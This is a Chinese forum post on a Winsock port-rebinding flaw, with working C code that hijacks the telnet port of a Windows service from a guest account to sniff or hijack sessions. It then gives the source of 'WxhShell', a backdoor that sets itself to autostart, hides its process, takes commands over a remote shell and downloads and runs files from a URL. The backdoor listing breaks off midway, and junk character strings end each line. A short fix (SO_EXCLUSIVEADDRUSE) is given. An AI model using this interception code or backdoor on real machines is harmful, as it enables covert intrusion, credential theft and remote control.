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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2jP(D%n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "1Y DT-I"  
Qg o| \=  
  saddr.sin_family = AF_INET; H]{`q  
QT(]S>--n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S09Xe_q  
nc#} \  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 92/_!P>  
+3R/g@n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9*[!ux7h  
*!}bU`  
  这意味着什么?意味着可以进行如下的攻击: 94[8~_{fG  
[Lid%2O3ZR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p,mKgL63  
MeO2 cy!5q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *adwCiB  
6eK7Jv\K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }};AV)}J  
Qf@ha  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +,4u1`c|$  
>Qs{LEsLb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CYhSCT!-?  
Es1T{<G|w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &^F'ME  
*7yrm&@nG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f;3k Yh^4  
xL!@$;J  
  #include F%:o6mT  
  #include Q.l3F3;  
  #include }^*m0`H  
  #include    #>">fs]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FN D+Ok&  
  int main() )1Z @}o 9  
  { T $o;PJc  
  WORD wVersionRequested; |h2=9\:]  
  DWORD ret; nm@.] "/  
  WSADATA wsaData; D'"l%p  
  BOOL val; d{c06(#_  
  SOCKADDR_IN saddr; 'F^"+Xi  
  SOCKADDR_IN scaddr; /wJocx]vQ  
  int err; nM H:7[x3  
  SOCKET s; #} `pj}tQ  
  SOCKET sc; M HKnHPv  
  int caddsize; &bCk`]j:  
  HANDLE mt; S+-V16{i  
  DWORD tid;   ,TQ;DxB}=E  
  wVersionRequested = MAKEWORD( 2, 2 ); o65I(`  
  err = WSAStartup( wVersionRequested, &wsaData ); IMHt#M`  
  if ( err != 0 ) { I\$?'q>  
  printf("error!WSAStartup failed!\n"); lQ?_1H~4=  
  return -1; =nG>aAG  
  } X "Q\MLy  
  saddr.sin_family = AF_INET; C&RZdh,$  
   4siq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CWS]821;  
XOPiwrg%p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )W!\D/C+  
  saddr.sin_port = htons(23); +Sg+% 8T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kwrM3nq  
  { RtF!(gd  
  printf("error!socket failed!\n"); <y,c.\c!  
  return -1; V_jGL<X|  
  } X="]q|Z  
  val = TRUE; 6MelN^\[7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v=x)]<E" _  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dRXrI  
  { 5O:4-} hz  
  printf("error!setsockopt failed!\n"); :Oi}X7\  
  return -1; U ]O>DM^'  
  } F[~~fm_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t9&=; s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D1Q]Z63,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @{@)gE  
zTfl#%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Bh()?{q  
  { vW5>{  
  ret=GetLastError(); "VA'W/yv!  
  printf("error!bind failed!\n"); }C5Fvy6uz  
  return -1; fTd":F  
  } zz-X5PFn  
  listen(s,2); 1A N)%  
  while(1) ``Rg0o  
  { @Zfg]L{Lr  
  caddsize = sizeof(scaddr); `i6q\-12n  
  //接受连接请求 P$"s*otr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E4xybVo@  
  if(sc!=INVALID_SOCKET) z=qxZuFkDs  
  { 8FQNeQr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y$FhV~m  
  if(mt==NULL) *)Pb-c  
  { 68nPz".X  
  printf("Thread Creat Failed!\n"); /5Xt<7vm8  
  break; /cx Ei6I-  
  } Ob|v$C  
  } &8hW~G>(m  
  CloseHandle(mt); 1b8}TG2  
  } ;:P} s4p  
  closesocket(s); 6' 9zpe@`  
  WSACleanup(); Dos';9Uq  
  return 0; vJuL+'[i  
  }   (_eM:H=e>  
  DWORD WINAPI ClientThread(LPVOID lpParam) k<%y+v  
  { K]ds2Kp&  
  SOCKET ss = (SOCKET)lpParam; X9#i!_*  
  SOCKET sc; rnXoA, c/  
  unsigned char buf[4096]; j15t8du&O  
  SOCKADDR_IN saddr; ! $fF3^8-  
  long num; r\m2Oo)]  
  DWORD val; *NQsD C.J^  
  DWORD ret; 8lF:70wia  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]!cLFXa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d 2z!i^:  
  saddr.sin_family = AF_INET; W! GUA<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iG=XRctgj)  
  saddr.sin_port = htons(23); )7a 4yTg!~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [ejl #'*5  
  { r[AqA  
  printf("error!socket failed!\n"); u7bji>j  
  return -1; XF99h&;9  
  } saR9_ ux  
  val = 100; iL3k8:x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) : W0;U  
  { @;>Xy!G  
  ret = GetLastError(); kj'  
  return -1; =p#:v  
  } n)R[T.E)+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GD#W=O  
  { M.KXDD#O  
  ret = GetLastError(); $ZnVs@:S  
  return -1; OCI{)r<O2m  
  } ib~EQ?u{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :A`jRe.  
  { OZE.T-{  
  printf("error!socket connect failed!\n"); AI3\eH+  
  closesocket(sc); D?r% Y  
  closesocket(ss); P;p;o]  
  return -1; g (V_&Y  
  } WmZ,c_  
  while(1) mH!\]fmR~  
  { I9kBe}g3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wbh^ZMQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'jBtBFzP-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kk+:y{0V  
  num = recv(ss,buf,4096,0); 8iN@n8O  
  if(num>0) &Y$)s<u8.  
  send(sc,buf,num,0); (eO_]<wmky  
  else if(num==0) a`S3v  
  break; k1;Jkq~  
  num = recv(sc,buf,4096,0); jQ5FvuNOy  
  if(num>0) vjYG>YhV  
  send(ss,buf,num,0); +(vL ~  
  else if(num==0) kud2O>>  
  break; Y~I6ee,\  
  } scR+F'M  
  closesocket(ss); hV"2L4/E  
  closesocket(sc); ((tWgSZ3  
  return 0 ; L'}^Av_+  
  } @wW)#!Mou  
9XW[NY#)#  
/n#t.XJY*  
========================================================== UJGmaE  
v{TISgZ  
下边附上一个代码,,WXhSHELL ?XO}6q<tM  
jX 6+~  
========================================================== f{f|frs  
> V%3w7  
#include "stdafx.h" BG2Z'WOH  
u3_AZ2-;  
#include <stdio.h> He)dm5#fg  
#include <string.h> ?iNihE  
#include <windows.h> s&Qil07 Vl  
#include <winsock2.h> {$^Lb4O[V  
#include <winsvc.h> -Khb  
#include <urlmon.h> HZzdelo  
>?0f>I%\  
#pragma comment (lib, "Ws2_32.lib") "Yf?33UNZ  
#pragma comment (lib, "urlmon.lib") j=TG&#e  
sK`pV8&xq  
#define MAX_USER   100 // 最大客户端连接数 %TRH,-@3h  
#define BUF_SOCK   200 // sock buffer iC\t@BVS  
#define KEY_BUFF   255 // 输入 buffer kR|(hA,$N  
?3Dsz  
#define REBOOT     0   // 重启 Ue]GHJ2  
#define SHUTDOWN   1   // 关机 sBD\;\I  
NuKx{y}P  
#define DEF_PORT   5000 // 监听端口 gSu3\keF  
[P"R+$"   
#define REG_LEN     16   // 注册表键长度 ^)|1T#Tz  
#define SVC_LEN     80   // NT服务名长度 ZVmgQ7m  
t= oTU,<  
// 从dll定义API cE0Kvqe`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [!E~pW%|n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kVb8$Sp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )t$|'c}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JK9}Kb};  
eA(c{  
// wxhshell配置信息 Q!dNJQpb  
struct WSCFG { (~FLG I  
  int ws_port;         // 监听端口 f; 1C)  
  char ws_passstr[REG_LEN]; // 口令 S  H5G  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1p9+c~4l:  
  char ws_regname[REG_LEN]; // 注册表键名 O<v9i4*  
  char ws_svcname[REG_LEN]; // 服务名 Skd,=r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oZ(T`5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7T3ub3\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zn|/h,.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lfp'D+#p {  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i%)Nn^a;T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bqDHLoB\1  
i@M^9|Gh  
}; :h+gSvn:  
Dj9).lgc  
// default Wxhshell configuration U:.  
struct WSCFG wscfg={DEF_PORT, $xf{m9 8  
    "xuhuanlingzhe", L4'FL?~I  
    1, a jCx"J  
    "Wxhshell", Jh'\ nDz@e  
    "Wxhshell", \VX~'pkrd/  
            "WxhShell Service", Vuqm{bo^  
    "Wrsky Windows CmdShell Service", 2$O @T]  
    "Please Input Your Password: ", 5/O;&[lYy  
  1, MMfcY 3#%  
  "http://www.wrsky.com/wxhshell.exe", 1wa zJj=v  
  "Wxhshell.exe" cR1dGNcp/@  
    }; |E)Es!dr  
ui:  
// 消息定义模块 Uaho.(_GP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qi\!<clv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |QvG;{!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |6pNe T[  
char *msg_ws_ext="\n\rExit."; A qKl}8  
char *msg_ws_end="\n\rQuit."; ~iZMV ?w  
char *msg_ws_boot="\n\rReboot..."; ?N,'1I  
char *msg_ws_poff="\n\rShutdown..."; I"]5B  
char *msg_ws_down="\n\rSave to "; \1[I(u  
j3bTa|UdT  
char *msg_ws_err="\n\rErr!"; iTt"Ik'  
char *msg_ws_ok="\n\rOK!"; T7AFL=  
.oq!Ys4KA  
char ExeFile[MAX_PATH]; >69+e+|I  
int nUser = 0; \ :8eN}B  
HANDLE handles[MAX_USER]; 7R mL#f`  
int OsIsNt; n2Oi< )  
^IxT.g  
SERVICE_STATUS       serviceStatus; -}m#uUqI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4-4lh TE(  
u:pdY'`"#  
// 函数声明 ~EIY(^|py  
int Install(void); *Rv eR?kO  
int Uninstall(void); 0KyujU?sF  
int DownloadFile(char *sURL, SOCKET wsh); ,#1ke  
int Boot(int flag); xQ62V11R6  
void HideProc(void); ,P ?TYk  
int GetOsVer(void); *hAeA+:  
int Wxhshell(SOCKET wsl); 6u3DxFiTm  
void TalkWithClient(void *cs); oW-Tw@D  
int CmdShell(SOCKET sock); Wiqy".YY  
int StartFromService(void); n*^g^gp  
int StartWxhshell(LPSTR lpCmdLine); 0Ng6Xg(QHc  
O`O{n_o^u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !ZbNW4rIP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mD:d,,~  
V; 1r  
// 数据结构和表定义 $EbxV"b+  
SERVICE_TABLE_ENTRY DispatchTable[] = xDu11W+g  
{ H*3f8A&@s  
{wscfg.ws_svcname, NTServiceMain}, ^ 3LM%B  
{NULL, NULL} !W/Og 5n  
}; bCk_ZA  
|H5){2V>K  
// 自我安装 9U6y<X  
int Install(void) |v8>22y  
{ a J[VX)"J  
  char svExeFile[MAX_PATH]; k+44ud.j  
  HKEY key; Hjli)*ev  
  strcpy(svExeFile,ExeFile); ?rWqFM:hb  
/`0*!sN*5  
// 如果是win9x系统,修改注册表设为自启动 C/e`O|G  
if(!OsIsNt) { !,Wd$U K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dY/=-ymW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <\?ySto  
  RegCloseKey(key); O{&5/xBA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { knpb$eX4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |Wj)kr !|  
  RegCloseKey(key); Q<zL;AJ  
  return 0; LLg ']9  
    } jgYUS@}  
  } >DQl&:-)t  
} JrseU6N  
else { C;wN>HE  
hT^6Ifm  
// 如果是NT以上系统,安装为系统服务 jfl7L"2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y:G6Nd VFM  
if (schSCManager!=0) v*QobI  
{ Pf6rr9  
  SC_HANDLE schService = CreateService wsP3hE' ]  
  ( 8;p6~&).C~  
  schSCManager, zrU0YHmt  
  wscfg.ws_svcname, dI-=0v-|  
  wscfg.ws_svcdisp, M\,0<{  
  SERVICE_ALL_ACCESS, \ Yz>=rY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <|Bh;;  
  SERVICE_AUTO_START, f`p`c*  
  SERVICE_ERROR_NORMAL, m'r6.Hp3Ng  
  svExeFile, +uKlg#wqc  
  NULL, k x6%5%  
  NULL, Ws4aCH1  
  NULL, bU=!~W5  
  NULL, v/8K?$"q  
  NULL f'aUo|^?  
  ); ep3_G\m  
  if (schService!=0) %D\TLY  
  { {08UBnR  
  CloseServiceHandle(schService); YQ 4;X8I`r  
  CloseServiceHandle(schSCManager); D._q'v<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7w|W\J^7r  
  strcat(svExeFile,wscfg.ws_svcname); W4QVWn %3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {_ww1'|A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); so8isDC'9  
  RegCloseKey(key); 6fY(u7m|p  
  return 0; aoco'BR F  
    } y{s?]hLk  
  } N3MMxm_u  
  CloseServiceHandle(schSCManager); I &YYw8&  
} J Q%e'  
} |M[E^  
EW0H"YIC  
return 1; G!8O*4+A  
} pYI`5B4  
yps7MM-r  
// 自我卸载 be$wG O=Ts  
int Uninstall(void) l\ts!p4f$  
{ x{Gb4=?l  
  HKEY key; xFHc+m' m~  
vXR-#MS`}  
if(!OsIsNt) { %8yfF rk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'vhgR2/  
  RegDeleteValue(key,wscfg.ws_regname); 9|D!&=8   
  RegCloseKey(key); :7e2O!zH_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <o3e0JCq  
  RegDeleteValue(key,wscfg.ws_regname); YCj"^RC^  
  RegCloseKey(key); 6sRn_y  
  return 0; ^p|MkB?uM  
  } %njX'7^u  
} pOyM/L   
} &AU%3b  
else { .D-}2<z  
]V6<h Psi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q<@f3[A  
if (schSCManager!=0) T3@wNAAU  
{ 7;5?2)+=6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1wW8D>f]K  
  if (schService!=0) W7WHH \L/O  
  { ']ya_v~e  
  if(DeleteService(schService)!=0) { .LIEZ^@  
  CloseServiceHandle(schService); [kt!\-  
  CloseServiceHandle(schSCManager); [0lCb"  
  return 0; m[LIM}Gu  
  } lV?rC z  
  CloseServiceHandle(schService); dFjB &#Tl  
  } Tt `|26/  
  CloseServiceHandle(schSCManager); 2L[/.|  
} /j0<x^m/  
} <?yAIhgN*  
9b``l-rO  
return 1; _SY<(2s]B  
} qx18A  
^' lx5+-  
// 从指定url下载文件 kUUN2  
int DownloadFile(char *sURL, SOCKET wsh) KqP! ={>"  
{ RgHPYf{  
  HRESULT hr; <*V%!pwIG  
char seps[]= "/"; 7m~+HM\  
char *token; x>A(016:C  
char *file; o|>2X[T  
char myURL[MAX_PATH]; _VMW-trG  
char myFILE[MAX_PATH]; W2O =dG`  
Lco JltY{5  
strcpy(myURL,sURL); Om0Z\GP=  
  token=strtok(myURL,seps); i;s&;_0{  
  while(token!=NULL) [c +[t3dz  
  {  "9!ln  
    file=token; WogJ~N,d53  
  token=strtok(NULL,seps); VE+Q Y9(  
  } :XxsDD  
skh6L!6*<  
GetCurrentDirectory(MAX_PATH,myFILE); b/:9^&z  
strcat(myFILE, "\\"); v?,_SVgAi  
strcat(myFILE, file); G%Hr c  
  send(wsh,myFILE,strlen(myFILE),0); %{!*)V\  
send(wsh,"...",3,0); \sEq r)\k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SQDllG84E  
  if(hr==S_OK) jutEb@nog  
return 0; c/DB"_}!a  
else 0.'$U}#b  
return 1; z2vrV?:  
OIGu`%~js  
} TppR \[4]  
{" woBOaA  
// 系统电源模块 (n;#Z,  
int Boot(int flag) jAB~XaT,  
{ o9(:m   
  HANDLE hToken; '`p#%I@  
  TOKEN_PRIVILEGES tkp; *IG} /O.VT  
X!ZUR^  
  if(OsIsNt) { %D< =6suW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $bIVD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }xcA`w3u2?  
    tkp.PrivilegeCount = 1; yw `w6Z3K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X`/8fag  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0-M.>fwZ=  
if(flag==REBOOT) { \b95CU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .K]n<+zW  
  return 0; "_WOt Jr  
} =+% QfuK  
else { S@* lI2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :V*c9,>ZO  
  return 0; wa-#C,R\_#  
} sgu#`@o  
  } HJ?p,V q5_  
  else { -f@~{rK.L  
if(flag==REBOOT) { &\#If:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I(y:Td  
  return 0; 4/vQ/>c2j  
} .;&c<c|  
else { FpN>T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZjF5*A8l  
  return 0; pKJ0+mN#"  
} :c[iS~ ~Y  
} \CNv,HUm3  
%$}aWzQxll  
return 1; A:Pp;9wl  
} #\3(rzQVO  
8;K'77h  
// win9x进程隐藏模块 A.vWGBR  
void HideProc(void) i eQQ{iGJH  
{ 4WU%K`jnXb  
 b)/,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aqJ>l}{  
  if ( hKernel != NULL ) mX66}s}#  
  { 6..G/,TB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K,(37Id'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kq& b1x  
    FreeLibrary(hKernel); W: R2e2  
  } k|Mj|pqA  
z/Z 0cM#  
return; 3}*)EC  
} }GI8p* ]o=  
-7{qTe {  
// 获取操作系统版本 9>?3FMKdY  
int GetOsVer(void) )RV.N}NU  
{ <*k]Aa3y  
  OSVERSIONINFO winfo; uU_lC5A|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z0|%h?N  
  GetVersionEx(&winfo); 'b(V8x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4UP#~  
  return 1; 6?\X)qBI  
  else 0} v_usP  
  return 0; $p? gai{o  
} P5,X,-eG  
,xmL[Yk,  
// 客户端句柄模块 ~Y;_vU  
int Wxhshell(SOCKET wsl) "A?&`}%  
{ K6 D3  
  SOCKET wsh; Q|T9 tc->  
  struct sockaddr_in client; tA;#yM;  
  DWORD myID; 4FLL*LCNX  
cl3@+v1  
  while(nUser<MAX_USER) (.[HE ~ s?  
{ U&x)Q  
  int nSize=sizeof(client); ^q{=mf`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KlOL5"3  
  if(wsh==INVALID_SOCKET) return 1; V% -wZL/  
=VXxQ\{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3jx5Lou)&  
if(handles[nUser]==0) Z'/sZ3Q}  
  closesocket(wsh); RC{|:@]8  
else y*K]z  
  nUser++; hf#[Vns  
  } LYM(eK5V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &.D#OnRh9  
%#gHa  
  return 0; aG&ay3[&  
} Mzfuthq=@  
)Pj8{.t4  
// 关闭 socket x ,LQA0  
void CloseIt(SOCKET wsh) 0=g~ozEW&  
{ P[q`{TdV  
closesocket(wsh); "WPFZw:9  
nUser--; WBOebv  
ExitThread(0); BBkYc:B=SA  
} o]gS=iLp  
UB5X2uBv  
// 客户端请求句柄 uPZ<hG#K  
void TalkWithClient(void *cs) CEOD$nYc  
{ JY6&CL`C  
*(c><N  
  SOCKET wsh=(SOCKET)cs; Cx,)$!1  
  char pwd[SVC_LEN]; dJ/(u&N  
  char cmd[KEY_BUFF]; zI$24L9*  
char chr[1]; &n 1 \^:  
int i,j; HzuB.B<  
83~9Xb=!\  
  while (nUser < MAX_USER) { O\;R (  
9pY`_lxa>  
if(wscfg.ws_passstr) { -hn~-Sy+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~]Md*F[4*e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Aw~N"i  
  //ZeroMemory(pwd,KEY_BUFF); TOUP.,f/!  
      i=0; \7l% @  
  while(i<SVC_LEN) { &uX| Ksq  
WJXQM[  
  // 设置超时 !`UHr]HJ  
  fd_set FdRead; .WeP]dX%:f  
  struct timeval TimeOut; o>G^)aRa  
  FD_ZERO(&FdRead); /C: rr_4=  
  FD_SET(wsh,&FdRead); FXF#v>&  
  TimeOut.tv_sec=8; zG%ZDH^82_  
  TimeOut.tv_usec=0; 'OERW|BO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z3jtq-y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3B+ F'k&#  
Tw)"#Y!T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /d/Quro  
  pwd=chr[0]; gr&Rkuyfv  
  if(chr[0]==0xd || chr[0]==0xa) { <;T$?J9  
  pwd=0; {\87]xJ  
  break; Hf^Tok^6@]  
  } z'9Mg]&>  
  i++; cag9f?w@V  
    } 0nX.%2p#Je  
;?-`n4B&  
  // 如果是非法用户,关闭 socket VOmWRy"L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [p 6#fG *  
} zSU06Y  
}zK/43Vx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P#8 ]m(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IQ9jTkW l  
ku`bwS  
while(1) { }'o[6#_*X  
hhZU E]  
  ZeroMemory(cmd,KEY_BUFF); XyM?Dc5,  
+ISXyGu  
      // 自动支持客户端 telnet标准   C/sDyv$  
  j=0; Z T5p  
  while(j<KEY_BUFF) { @C}Hx;f6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TAXl73j_CY  
  cmd[j]=chr[0]; fUJ\W"qya  
  if(chr[0]==0xa || chr[0]==0xd) { pPezy:  
  cmd[j]=0; l}Fa-9_'  
  break; m4@f&6x  
  } Aj22t   
  j++; WecJ^{g>r{  
    } *C0gpEf9S  
CYxrKW l:'  
  // 下载文件 SdI/  
  if(strstr(cmd,"http://")) { N]p|c3D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <;?&<qMo,P  
  if(DownloadFile(cmd,wsh)) wG&+*,}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HOb-q|w  
  else H=7z d|W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o`@B*, @  
  } JMT?+/Qbu  
  else { kOe~0xoT@u  
.W>8bg'u9  
    switch(cmd[0]) { 9hG+?   
  j&S8x|5  
  // 帮助 BBg&ZIYEh  
  case '?': { F[ Itq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P'nbyF  
    break; 9t$%Tc#Z  
  } yk5T"# '+  
  // 安装 }UzO_&Z#6  
  case 'i': { <IF\;,.c  
    if(Install()) Wu 71q=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WAj26";M(  
    else {,5=U@J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;'Pi(TA)  
    break; n ^T_pqV?X  
    } TwZvz[u  
  // 卸载 qdn\8Pn  
  case 'r': { dwc$?Bg,5  
    if(Uninstall()) YLlw:jN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }G8RJxy  
    else c-INVA)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t;DZ^Z"{  
    break; ZOFBT(oV  
    } Lp \%-s#5s  
  // 显示 wxhshell 所在路径 k?.HW?=zy  
  case 'p': { lA4Bq  
    char svExeFile[MAX_PATH]; NLJD}{8Ot  
    strcpy(svExeFile,"\n\r"); n7vLw7  
      strcat(svExeFile,ExeFile); /D[GXX  
        send(wsh,svExeFile,strlen(svExeFile),0); 7p?6j)rj  
    break; Y/t:9Aau  
    } y*M,&,$  
  // 重启 Q<L.!%vu}  
  case 'b': { Ne]/ sQ0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ; y#6Nx,:  
    if(Boot(REBOOT)) 6TE R Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?l_>rSly5  
    else { mu1oD;lQ  
    closesocket(wsh); pGi "*oZD  
    ExitThread(0); ou44vKzS  
    } Z_qs_/y  
    break; b; SFnZa8  
    } 9Byk/&$U  
  // 关机 Z`xz|:D+  
